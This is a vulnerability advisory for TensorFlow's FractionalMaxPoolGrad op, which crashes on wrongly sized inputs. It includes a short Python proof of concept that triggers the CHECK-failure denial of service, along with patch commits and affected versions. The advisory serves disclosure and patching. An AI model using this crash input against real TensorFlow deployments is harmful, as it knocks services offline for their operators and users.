PT-2026-59865 · Pypi · Tensorflow

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
python
import tensorflow as tf

overlapping = True
orig input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row pooling sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col pooling sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw ops.FractionalMaxPoolGrad(orig input=orig input, orig output=orig output, out backprop=out backprop, row pooling sequence=row pooling sequence, col pooling sequence=col pooling sequence, overlapping=overlapping)

Patches

We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3250

Affected Products

Tensorflow